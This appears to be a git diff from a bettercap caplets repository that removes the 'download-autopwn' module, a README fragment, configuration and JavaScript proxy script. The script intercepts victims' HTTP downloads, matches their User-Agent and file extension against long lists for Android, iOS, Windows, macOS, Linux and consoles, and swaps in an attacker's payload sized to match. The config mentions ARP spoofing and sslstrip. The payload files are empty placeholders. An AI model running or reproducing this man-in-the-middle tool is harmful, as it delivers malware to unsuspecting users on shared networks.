- -The `downloadautopwn.devices` variable accepts comma separated values. -
-These values are the folder names inside the **caplets/download-autopwn/** directory. - -
- -The `downloadautopwn.useragent.x` variables accept a regular expression value (where `x` is the device name). -
-The victim's User-Agent string has to match this regex value. - -
- -The `downloadautopwn.extensions.x` variables accept comma separated file extensions that are present in the device's folder (where `x` is the device name). -
-These files must be present in the device's folder, and they must be called `payload` (for example: `payload.exe`). - -
- -The `downloadautopwn.resizepayloads` variable accepts a boolean value (default=false). -
-If this value is set to true, your payloads will be resized to match the requested file's size (unless your payload is bigger or equal to the requested file's size). - -
- -### caplets/download-autopwn.js - -No changes should have to be made in the **download-autopwn.js** file. - -```javascript -var targets = {} - -var nullbyte = "\u0000" - -var green = "\033[32m", - boldRed = "\033[1;31m", - onRed = "\033[41m", - reset = "\033[0m", - redLine = "\n " + onRed + " " + reset - -function onLoad() { - devices = env("downloadautopwn.devices").split(",") - logStr = "" - for (var i = 0; i < devices.length; i++) { - item = { - "device": devices[i], - "useragent": env("downloadautopwn.useragent." + devices[i]), - "extensions": env("downloadautopwn.extensions." + devices[i]).toLowerCase().split(",") - } - targets[i] = item - logStr += "\n " + green + targets[i]["device"] + reset + - "\n User-Agent: " + targets[i]["useragent"] + - "\n Extensions: " + targets[i]["extensions"] + "\n" - } - log("Download Autopwn loaded.\n\nDownload Autopwn targets: \n" + logStr) -} - -function onResponse(req, res) { - // First of all check whether the requested path might have an extension (to save cpu) - var requestedFileName = req.Path.replace(/.*\//g, "") - if ( requestedFileName.indexOf(".") != -1 ) { - var userAgent = req.GetHeader("User-Agent", ""), - extension, - headerCount = req.Headers.length - // Iterate through targets - for ( var t = 0; t < Object.keys(targets).length; t++ ) { - // Check if User-Agent is a target - regex = new RegExp(targets[t]["useragent"]) - if ( userAgent.match(regex) ) { - // Iterate through target extensions - for (var e = 0; e < targets[t]["extensions"].length; e++) { - // Check if requested path contains a targeted extension - // function endsWith() could be a nice simplification here - if ( requestedFileName.replace(/.*\./g, "").toLowerCase() == targets[t]["extensions"][e] ) { - extension = targets[t]["extensions"][e] - // Autopwn - logStr = "\n" + redLine + " Autopwning download request from " + boldRed + req.Client.IP + reset + - redLine + - redLine + " Found " + boldRed + extension.toUpperCase() + reset + " extension in " + boldRed + req.Hostname + req.Path + reset + - redLine + - redLine + " Grabbing " + boldRed + targets[t]["device"].toUpperCase() + reset + " payload..." - // Check requested file size - requestedFile = res.ReadBody() - requestedFileSize = requestedFile.length - payload = readFile("/usr/local/share/bettercap/caplets/download-autopwn/" + targets[t]["device"] + "/payload." + extension) - payloadSize = payload.length - logStr += redLine + " The size of the requested file is " + boldRed + requestedFileSize + reset + " bytes" + - redLine + " The raw size of your payload is " + boldRed + payloadSize + reset + " bytes" + redLine - // Append nullbytes to payload if resizing is enabled and if requested file is larger than payload - if ( env("downloadautopwn.resizepayloads") == "true" && requestedFileSize > payloadSize ) { - logStr += redLine + " Resizing your payload to " + boldRed + requestedFileSize + reset + " bytes..." - sizeDifference = requestedFileSize - payloadSize - nullbyteString = Array(sizeDifference + 1).join(nullbyte) - payload += nullbyteString - } - // Set Content-Disposition header to enforce file download instead of in-browser preview - res.SetHeader("Content-Disposition", "attachment; filename=\"" + requestedFileName + "\"") - // Update Content-Length header in case our payload is larger than the requested file - res.SetHeader("Content-Length", payload.length) - logStr += redLine + " Serving your payload to " + boldRed + req.Client.IP + reset + "...\n" - log(logStr) - res.Body = payload - } - } - } - } - } -} -``` - -
- -### Now you're all set to pwn! - -#### What it looks like when you have configured a crazy amount of payloads - - - -#### What it looks like when you pwn someone's download >:-) - - - -Have fun! diff --git a/download-autopwn/android/payload.apk b/download-autopwn/android/payload.apk deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.jar b/download-autopwn/android/payload.jar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.mkv b/download-autopwn/android/payload.mkv deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.mp3 b/download-autopwn/android/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.mp4 b/download-autopwn/android/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.pdf b/download-autopwn/android/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.pfx b/download-autopwn/android/payload.pfx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.py b/download-autopwn/android/payload.py deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.sh b/download-autopwn/android/payload.sh deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.tar b/download-autopwn/android/payload.tar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.tar.gz b/download-autopwn/android/payload.tar.gz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.tgz b/download-autopwn/android/payload.tgz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/android/payload.zip b/download-autopwn/android/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/download-autopwn.cap b/download-autopwn/download-autopwn.cap deleted file mode 100644 index 0ed8217..0000000 --- a/download-autopwn/download-autopwn.cap +++ /dev/null @@ -1,51 +0,0 @@ -# documentation can be found at https://github.com/bettercap/blob/master/download-autopwn/README.md -# -# this module lets you intercept very specific download requests and replaces the payload with one of your choice -# -# in order for a download to get intercepted: -# 1. the victim's user-agent string must match the downloadautopwn.useragent.x regexp value -# 2. the requested file must match one of the downloadautopwn.extensions.x file extensions -# -# you can find the downloadautopwn.devices in the download-autopwn/ folder (you can add your own) -# - -# choose the devices from which downloads get pwned (enter the dir names of choice from download-autopwn/) -# (or feel free to add your own) -set downloadautopwn.devices android,ios,linux,macos,ps4,windows,xbox - -# choose the regexp value that the victim's User-Agent has to match -# (feel free to add your own) -set downloadautopwn.useragent.android Android -set downloadautopwn.useragent.ios iPad|iPhone|iPod -set downloadautopwn.useragent.linux Linux -set downloadautopwn.useragent.macos Intel Mac OS X 10_ -set downloadautopwn.useragent.ps4 PlayStation 4 -set downloadautopwn.useragent.windows Windows|WOW64 -set downloadautopwn.useragent.xbox Xbox - -# choose which file extensions get intercepted and replaced by your payload on specific devices (payloads are in download-autopwn/.../) -# (again, you can add as many as you want) -# make sure the payload files exist and that they are all named "payload" (for example: payload.exe) -set downloadautopwn.extensions.android apk,pdf,sh,pfx,zip -set downloadautopwn.extensions.ios ipa,ios,ipb,ipsw,ipsx,ipcc,mobileconfig,pdf,zip -set downloadautopwn.extensions.linux c,go,sh,py,rb,cr,pl,deb,pdf,jar,zip -set downloadautopwn.extensions.macos app,dmg,doc,docx,jar,ai,ait,psd,pdf,c,go,sh,py,rb,pl,terminal,zip -set downloadautopwn.extensions.ps4 disc,pup,pdf,doc,docx,zip -set downloadautopwn.extensions.windows exe,msi,bat,jar,dll,doc,docx,swf,psd,ai,ait,pdf,rar,zip -set downloadautopwn.extensions.xbox exe,msi,jar,pdf,doc,docx,zip - -# choose whether the proxy module resizes your payload to the requested file's size (if not set then default=false) -set downloadautopwn.resizepayloads true - -# set download-autopwn.js as proxy script -set http.proxy.script download-autopwn.js -# uncomment if you want sslstrip enabled -# set http.proxy.sslstrip true -# start proxy -http.proxy on - -# wait for everything to start properly -sleep 1 - -# uncomment if you want arp spoofing (make sure probing is off as it conflicts with arp spoofing) -# arp.spoof on diff --git a/download-autopwn/download-autopwn.js b/download-autopwn/download-autopwn.js deleted file mode 100644 index 20fb9d1..0000000 --- a/download-autopwn/download-autopwn.js +++ /dev/null @@ -1,84 +0,0 @@ -var targets = {} - -var nullbyte = "\u0000" - -var green = "\033[32m", - boldRed = "\033[1;31m", - onRed = "\033[41m", - reset = "\033[0m", - redLine = "\n " + onRed + " " + reset - -function onLoad() { - devices = env["downloadautopwn.devices"].split(",") - logStr = "" - for (var i = 0; i < devices.length; i++) { - item = { - "device": devices[i], - "useragent": env[ "downloadautopwn.useragent." + devices[i] ], - "extensions": env[ "downloadautopwn.extensions." + devices[i] ].toLowerCase().split(",") - } - targets[i] = item - logStr += "\n " + green + targets[i]["device"] + reset + - "\n User-Agent: " + targets[i]["useragent"] + - "\n Extensions: " + targets[i]["extensions"] + "\n" - } - log("Download Autopwn loaded.\n\nDownload Autopwn targets: \n" + logStr) -} - -function onResponse(req, res) { - // First of all check whether the requested path might have an extension (to save cpu) - var requestedFileName = req.Path.replace(/.*\//g, "") - if ( requestedFileName.indexOf(".") != -1 ) { - var userAgent = req.GetHeader("User-Agent", ""), - extension - // Iterate through targets - for ( var t = 0; t < Object.keys(targets).length; t++ ) { - // Check if User-Agent is a target - regex = new RegExp(targets[t]["useragent"]) - if ( userAgent.match(regex) ) { - // Iterate through target extensions - for (var e = 0; e < targets[t]["extensions"].length; e++) { - // Check if requested path contains a targeted extension - // function endsWith() could be a nice simplification here - if ( requestedFileName.replace(/.*\./g, "").toLowerCase() == targets[t]["extensions"][e] ) { - extension = targets[t]["extensions"][e] - // Autopwn - logStr = "\n" + redLine + " Autopwning download request from " + boldRed + req.Client.IP + reset + - redLine + - redLine + " Found " + boldRed + extension.toUpperCase() + reset + " extension in " + boldRed + req.Hostname + req.Path + reset + - redLine + - redLine + " Grabbing " + boldRed + targets[t]["device"].toUpperCase() + reset + " payload..." - // Check our payload size - payload = readFile("/usr/local/share/bettercap/caplets/download-autopwn/" + targets[t]["device"] + "/payload." + extension) - payloadSize = payload.length - logStr += redLine + " The raw size of your payload is " + boldRed + payloadSize + reset + " bytes" - // Append nullbytes to payload if resizing is enabled and if requested file is larger than payload - if ( env["downloadautopwn.resizepayloads"] == "true" ) { - // Check requested file size - requestedFileSize = parseInt(res.GetHeader("Content-Length", "0")) - if (requestedFileSize == 0) { - requestedFileSize = res.ReadBody().length - } - logStr += redLine + " The size of the requested file is " + boldRed + requestedFileSize + reset + " bytes" - // Append nullbytes if required - if (requestedFileSize > payloadSize) { - logStr += redLine + " Resizing your payload to " + boldRed + requestedFileSize + reset + " bytes..." - sizeDifference = requestedFileSize - payloadSize - nullbyteString = Array(sizeDifference + 1).join(nullbyte) - payload += nullbyteString - } - } - // Set Content-Disposition header to enforce file download instead of in-browser preview - res.SetHeader("Content-Disposition", "attachment; filename=\"" + requestedFileName + "\"") - // Update Content-Length header - res.RemoveHeader("Content-Length") - logStr += redLine + - redLine + " Serving your payload to " + boldRed + req.Client.IP + reset + "...\n" - log(logStr) - res.Body = payload - } - } - } - } - } -} diff --git a/download-autopwn/ios/payload.ios b/download-autopwn/ios/payload.ios deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.ipa b/download-autopwn/ios/payload.ipa deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.ipb b/download-autopwn/ios/payload.ipb deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.ipcc b/download-autopwn/ios/payload.ipcc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.ipsw b/download-autopwn/ios/payload.ipsw deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.ipsx b/download-autopwn/ios/payload.ipsx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.m4a b/download-autopwn/ios/payload.m4a deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.mkv b/download-autopwn/ios/payload.mkv deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.mobileconfig b/download-autopwn/ios/payload.mobileconfig deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.mp3 b/download-autopwn/ios/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.mp4 b/download-autopwn/ios/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.pdf b/download-autopwn/ios/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ios/payload.zip b/download-autopwn/ios/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.c b/download-autopwn/linux/payload.c deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.cr b/download-autopwn/linux/payload.cr deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.deb b/download-autopwn/linux/payload.deb deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.go b/download-autopwn/linux/payload.go deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.jar b/download-autopwn/linux/payload.jar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.mp3 b/download-autopwn/linux/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.mp4 b/download-autopwn/linux/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.pdf b/download-autopwn/linux/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.pl b/download-autopwn/linux/payload.pl deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.py b/download-autopwn/linux/payload.py deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.rb b/download-autopwn/linux/payload.rb deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.sh b/download-autopwn/linux/payload.sh deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.tar b/download-autopwn/linux/payload.tar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.tar.gz b/download-autopwn/linux/payload.tar.gz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.tgz b/download-autopwn/linux/payload.tgz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/linux/payload.zip b/download-autopwn/linux/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.7z b/download-autopwn/macos/payload.7z deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.ai b/download-autopwn/macos/payload.ai deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.ait b/download-autopwn/macos/payload.ait deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.app b/download-autopwn/macos/payload.app deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.c b/download-autopwn/macos/payload.c deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.dmg b/download-autopwn/macos/payload.dmg deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.doc b/download-autopwn/macos/payload.doc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.docx b/download-autopwn/macos/payload.docx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.jar b/download-autopwn/macos/payload.jar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.m4a b/download-autopwn/macos/payload.m4a deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.mov b/download-autopwn/macos/payload.mov deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.mp3 b/download-autopwn/macos/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.mp4 b/download-autopwn/macos/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.pdf b/download-autopwn/macos/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.psd b/download-autopwn/macos/payload.psd deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.py b/download-autopwn/macos/payload.py deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.rb b/download-autopwn/macos/payload.rb deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.sh b/download-autopwn/macos/payload.sh deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.tar b/download-autopwn/macos/payload.tar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.tar.gz b/download-autopwn/macos/payload.tar.gz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.terminal b/download-autopwn/macos/payload.terminal deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.tgz b/download-autopwn/macos/payload.tgz deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/macos/payload.zip b/download-autopwn/macos/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.aac b/download-autopwn/ps4/payload.aac deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.avi b/download-autopwn/ps4/payload.avi deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.disc b/download-autopwn/ps4/payload.disc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.doc b/download-autopwn/ps4/payload.doc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.docx b/download-autopwn/ps4/payload.docx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.flac b/download-autopwn/ps4/payload.flac deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.m4a b/download-autopwn/ps4/payload.m4a deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.mkv b/download-autopwn/ps4/payload.mkv deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.mp3 b/download-autopwn/ps4/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.mp4 b/download-autopwn/ps4/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.pdf b/download-autopwn/ps4/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.pup b/download-autopwn/ps4/payload.pup deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/ps4/payload.zip b/download-autopwn/ps4/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.7z b/download-autopwn/windows/payload.7z deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.ai b/download-autopwn/windows/payload.ai deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.ait b/download-autopwn/windows/payload.ait deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.avi b/download-autopwn/windows/payload.avi deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.bat b/download-autopwn/windows/payload.bat deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary 